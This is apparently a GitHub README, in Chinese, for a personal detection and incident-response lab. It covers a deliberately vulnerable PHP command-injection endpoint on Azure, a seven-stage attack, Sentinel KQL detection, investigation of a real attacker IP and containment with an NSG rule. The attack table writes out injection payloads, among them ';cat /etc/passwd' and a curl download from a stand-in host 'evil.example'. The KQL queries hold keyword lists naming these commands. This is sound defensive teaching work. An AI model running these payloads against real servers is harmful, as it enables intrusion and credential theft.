## 📁 仓库结构
| 文件 | 描述 |
| --- | --- |
| [Vulnerable_WebServer_RCE_Detection_IR_Lab_Report.docx](./Vulnerable_WebServer_RCE_Detection_IR_Lab_Report.docx) | 包含所有屏幕截图和完整源代码的完整实验报告 |
| README.md | 项目概述 |
## 📋 概述
在这个实验室中,我构建了一个故意存在漏洞的 Web 应用程序,使用 7 阶段 kill chain 对其进行了攻击,将 Apache 日志接入了 Microsoft Sentinel,使用 KQL 检测了攻击,调查了该事件,并通过在网络层阻断攻击者进行了封堵。
我部署了一个带有故意命令注入缺陷 (CWE-78) 的 PHP Web 应用程序。在运行了我自己的 7 阶段攻击后,我将 VM 暴露在互联网上。几天内,真实的威胁行为者 103.168.66.101 发现并利用了相同的漏洞——在 Sentinel 中生成了 82 个相互关联的高严重性事件,我对此进行了调查和封堵。
**我做了什么:**
* 🏗️ 在 Azure 中的 Ubuntu + Apache2 上部署了一个易受攻击的 PHP Web 应用程序(`shell_exec()` — CWE-78)——故意未进行过滤
* ⚔️ 执行了 **7 阶段攻击链** — 侦察 → RCE → 主机发现 → 用户枚举 → 进程发现 → 网络发现 → payload 检索
* 📡 通过 **Custom Logs AMA** 连接器将 Apache 访问日志接入 Microsoft Sentinel
* 🔍 使用 **KQL** 针对 `ApacheHTTPServer_CL` 表检测攻击命令
* 🚨 创建了一个映射到 MITRE ATT&CK 的 **计划内高严重性分析规则**
* 🌐 将 VM 暴露 — 真实攻击者 **103.168.66.101** 独立发现并利用了它 → 我必须调查的 **82 个关联的 Sentinel 事件**
* 🔎 使用 **3 个 KQL 查询**进行调查 — 攻击分类、IP 识别、时间线重构
* 🛡️ 使用真实的 **NSG Deny 规则**封堵了攻击,阻断了端口 80 上的攻击者 IP
## 🛠️ 使用的技术
* Microsoft Azure (VM · NSG · Resource Group)
* Ubuntu Server 24.04 LTS
* Apache2 + PHP + libapache2-mod-php
* Microsoft Sentinel + Microsoft Defender XDR
* Log Analytics Workspace (VulnLab-LAW)
* Custom Logs via AMA (Data Connector)
* KQL (Kusto Query Language)
* Azure NSG (Network Security Groups)
* MITRE ATT&CK Framework
## 🧪 实验环境
| 组件 | 值 |
| --- | --- |
| Resource Group | Vuln-Web-Lab (澳大利亚东部) |
| VM | VulnWeb-VM — Ubuntu Server 24.04 LTS x64 |
| 公共 IP | 20.5.176.148 |
| Web Server | Apache2 + PHP + libapache2-mod-php |
| 漏洞 Endpoint | `/internal/index.php` — `shell_exec()` — 无输入过滤 |
| NSG 规则 | 端口 80 对互联网开放(故意的) |
| Log Analytics Workspace | VulnLab-LAW |
| Data Connector | Custom Logs via AMA |
| Sentinel 表 | `ApacheHTTPServer_CL` |
| 真实攻击者 IP | 103.168.66.101 |
## 🌐 实验架构
```
[Internet — Attacker]
Local (7-stage attack) + Real attacker 103.168.66.101
│
│ HTTP GET /internal/index.php?search=;whoami
│ Port 80 — NSG Any/Any/Allow (intentional)
▼
[VulnWeb-VM — Ubuntu 24.04]
Apache2 + PHP
/internal/index.php — shell_exec($input) — NO SANITIZATION
/var/log/apache2/access.log — all requests including attack commands logged
│
│ Custom Logs via AMA + Data Collection Rule
▼
[VulnLab-LAW — Log Analytics Workspace]
Table: ApacheHTTPServer_CL
│
▼
[Microsoft Sentinel]
KQL Detection → High-Severity Analytics Rule
→ Incident Generated (82 correlated events)
→ 3 KQL Investigation Queries
→ Attack Classified, IP Identified, Timeline Reconstructed
│
▼
[Azure NSG — Block-Malicious-IP-RCE]
Deny 103.168.66.101 on Port 80 → Attack Contained ✅
```
## ⚠️ 漏洞 — CWE-78 命令注入
我部署了一个名为“内部文件搜索工具”的工具,其中包含一个故意的命令注入缺陷。我将用户输入直接拼接到 shell 命令中,没有任何过滤——这就是漏洞所在。
```
File Search Utility
Internal File Search Tool
```
**保存至:** `/var/www/html/internal/index.php`
## ⚔️ 7 阶段攻击链
我从浏览器手动执行了每个阶段——不需要特殊工具,只需构造 URL。每个阶段都在上一个阶段的基础上构建,完全符合真实攻击者的行进方式。
| 阶段 | MITRE | 命令 | 揭示的信息 |
|-------|-------|---------|-----------------|
| 1 — 侦察 | T1590 | URL 枚举 `/admin` `/dev` `/internal` | 发现隐藏的内部应用程序 |
| 2 — 初始访问 (RCE) | T1190 | `?search=;whoami` | 确认 RCE — 服务器以 `www-data` 身份运行 |
| 3 — 主机发现 | T1082 | `?search=;uname -a` | 识别操作系统版本和内核 |
| 4 — 用户枚举 | T1087 | `?search=;cat /etc/passwd` | 列出所有系统用户帐户 |
| 5 — 进程发现 | T1057 | `?search=;ps aux` | 识别正在运行的进程和服务 |
| 6 — 网络发现 | T1046 | `?search=;ss -tulnp` | 识别监听端口和服务 |
| 7 — Payload 检索 | T1105 | `?search=;curl http://evil.example/payload.sh` | 模拟 C2 payload 下载 |
## 📡 Apache 日志接入 Sentinel
Apache 记录了我发出的每一个 HTTP 请求——包括 URL 参数中注入的命令。通过将此文件流式传输到 Sentinel 中,每个 `;whoami` 和 `;cat /etc/passwd` 都可以使用 KQL 进行搜索。
| 设置 | 值 |
| --- | --- |
| 连接器 | Custom Logs via AMA |
| 日志文件 | `/var/log/apache2/access.log` |
| DCR 名称 | ApacheHTTPServer |
| Sentinel 表 | `ApacheHTTPServer_CL` |
## 🔍 KQL 检测
我的检测方法是在原始 Apache 日志条目中搜索已知的攻击关键字。当我将 `;whoami` 注入 URL 时,该字符串原样出现在访问日志中——一个简单的 `has_any()` 查询就可以立即浮现出每个攻击请求。
```
ApacheHTTPServer_CL
| where RawData has_any (
"whoami", "hostname", "uname",
"/etc/passwd", "ps", "ss",
"curl", "payload.sh"
)
| project TimeGenerated, RawData
| order by TimeGenerated desc
```
## 🚨 计划内分析规则
| 设置 | 值 |
| --- | --- |
| 规则名称 | Linux Web 应用程序命令注入检测 |
| 警报名称 | 可能的 Linux Web 应用程序 RCE 尝试 |
| 严重性 | 🔴 **高** |
| 运行频率 | 每 5 分钟 |
| 回溯 | 10 分钟 |
| 阈值 | 结果 > 0 |
| 警报分组 | 24 小时窗口 — 将来自同一攻击者的重复警报整合为一个事件 |
| MITRE 战术 | 初始访问 · 执行 · 发现 · C2 |
| MITRE 技术 | T1190 · T1059 · T1082 · T1087 · T1105 |
## 🔎 事件调查 — 3 个 KQL 查询
**我的事件:** 🔴 高严重性 | 82 个关联事件 | 源 IP:103.168.66.101
### 查询 1 — 对攻击活动进行分类
*我使用它来了解攻击者实际在做什么——用可读的操作类型标记每个日志条目。*
```
ApacheHTTPServer_CL
| extend IP = tostring(split(RawData, " ")[0])
| extend Action = case(
RawData has "whoami", "RCE Attempt",
RawData has "uname", "System Recon",
RawData has "cat /etc/passwd", "Credential Access Attempt",
RawData has "curl", "External Connection Attempt",
"Other")
| project TimeGenerated, IP, Action, RawData
| order by TimeGenerated asc
```
### 查询 2 — 识别攻击者 IP
*我使用它来确认是哪个 IP 所为——来自单个 IP 的高计数意味着自动化或针对性利用。*
```
ApacheHTTPServer_CL
| extend IP = tostring(split(RawData, " ")[0])
| summarize AttackCount = count() by IP
| order by AttackCount desc
```
✅ **103.168.66.101** 被确认为首要攻击者——其数量和模式指向自动化工具。
### 查询 3 — 重构攻击时间线
*我使用它来查看攻击是如何发展的——划分到 5 分钟的时间窗口清晰地显示了升级模式。*
```
ApacheHTTPServer_CL
| extend IP = tostring(split(RawData, " ")[0])
| summarize count() by bin(TimeGenerated, 5m), IP
| order by TimeGenerated asc
```
✅ 我可以清楚地看到攻击从最初的探测升级为命令执行——与自动化工具一致。
## 🛡️ 封堵 — NSG Deny 规则
我没有让服务器离线,而是创建了一条有针对性的 NSG Deny 规则,仅阻断端口 80 上的攻击者 IP——在不影响合法用户的情况下停止了攻击。
| 字段 | 值 |
| --- | --- |
| 规则名称 | Block-Malicious-IP-RCE |
| 源 IP | 103.168.66.101 |
| 目标端口 | 80 |
| 动作 | **Deny** |
| 优先级 | 101 |
**封堵后验证:**
```
ApacheHTTPServer_CL
| where RawData has "103.168.66.101"
| order by TimeGenerated desc
```
✅ 应用 NSG 规则后,KQL 查询没有返回来自该 IP 的进一步请求——封堵已确认。
## 🎯 MITRE ATT&CK 技术
| 技术 | 名称 | 战术 |
|-----------|------|--------|
| T1190 | 利用面向公众的应用程序 | 初始访问 |
| T1059 | 命令和脚本解释器 | 执行 |
| T1082 | 系统信息发现 | 发现 |
| T1033 | 系统所有者/用户发现 | 发现 |
| T1087 | 帐户发现 | 发现 |
| T1057 | 进程发现 | 发现 |
| T1046 | 网络服务发现 | 发现 |
| T1105 | 入口工具传输 | 命令与控制 |
## 🎯 展示的技能
* 易受攻击 Web 应用程序部署(PHP 命令注入 — CWE-78)
* 7 阶段攻击性攻击链执行
* 将 Apache 日志接入 Sentinel(Custom Logs via AMA + DCR)
* KQL 威胁检测(has_any、extend、case、summarize、bin)
* 创建计划内分析规则(高严重性,映射 MITRE)
* 真实事件调查(3 个 KQL 查询)
* 攻击时间线重构
* MITRE ATT&CK 映射(8 项技术)
* 基于 NSG 的网络封堵(真实的 Deny 规则)
* Microsoft Sentinel + Defender XDR 统一门户
* Linux CLI 和 Azure VM 管理
## 🎯 关键要点
## 🔗 相关项目
## 🔗 与我联系
[](https://www.linkedin.com/in/bikash-raya/)
[](https://github.com/Bikash-Raya)
## 🔧 根除
在封堵之后,我记录了根本原因并推荐了修复方案,并向开发团队提交了工单。我的职责是识别和封堵——由开发团队部署代码修复。
### 根本原因
`/internal/index.php` endpoint 将用户输入直接传递给 `shell_exec()` 而没有任何过滤(CWE-78 / OWASP A03:2021 — 注入)。任何发现此 endpoint 的攻击者都可以作为 Apache Web 服务器进程 (`www-data`) 执行任意 OS 命令。
### 推荐修复 — 提供给开发团队
```
```
**我在工单中包含的额外建议:**
- 将 `/internal/` 置于身份验证之后——切勿公开暴露内部工具
- 考虑将 `shell_exec()` 替换为不会调用 OS 命令的 PHP 原生函数(`scandir()`, `glob()`)
- 部署 Web 应用程序防火墙 (WAF) 以在网络层阻断注入模式
- 通过 Apache 访问控制将 `/internal/` 限制为受信任的 IP 范围
## ♻️ 恢复
恢复取决于开发团队部署修复程序。在此之前,我将保留 NSG Deny 规则作为临时控制措施。
**恢复检查清单:**
- 确认修补后的 `index.php` 已部署到 `/var/www/html/internal/`
- 验证修复 — 测试 `;whoami` 注入 — 应该返回错误,而不是命令输出
- 运行恢复后的 KQL 查询以确认没有进一步的攻击流量
- 恢复后监控 `ApacheHTTPServer_CL` 24-48 小时
**恢复后验证查询:**
```
ApacheHTTPServer_CL
| where RawData has "103.168.66.101"
or RawData has_any ("whoami","passwd","uname","curl","payload")
| project TimeGenerated, RawData
| order by TimeGenerated desc
```
✅ 如果在封堵时间戳之后没有出现新条目——则恢复已确认。之后的任何条目都意味着攻击者找到了另一条路径,我需要重新调查。
## 📝 事件后回顾
### 我的发现
- `/internal/` endpoint 没身份验证并且可以公开访问——我应该从一开始就添加访问控制
- 单单是 Apache 日志就为我提供了重构整个攻击所需的一切——不需要额外的工具
- 我的分析规则在首次攻击后 5 分钟内触发——检测时机运作良好
- 24 小时警报分组将 82 个单独的警报变成了 1 个事件——更容易处理
- 真实的攻击者在几天内就出现了——这证实了任何暴露的漏洞 endpoint 都会被迅速发现和利用
### 我会做哪些不同的改进
- 部署 WAF,在注入模式到达应用程序之前将其阻断
- 从第一天起就为 `/internal/` 添加身份验证——它永远不应该被公开访问
- 在暴露任何应用程序之前运行自动化漏洞扫描(例如 Nessus)——这会立即发现此问题
- 避免使用 `shell_exec()` 并使用像 `scandir()` 这样的 PHP 原生函数——结果相同,但没有 OS 命令风险
- 永久保留对 103.168.66.101 的 NSG 阻断——没有理由再让该 IP 重新进入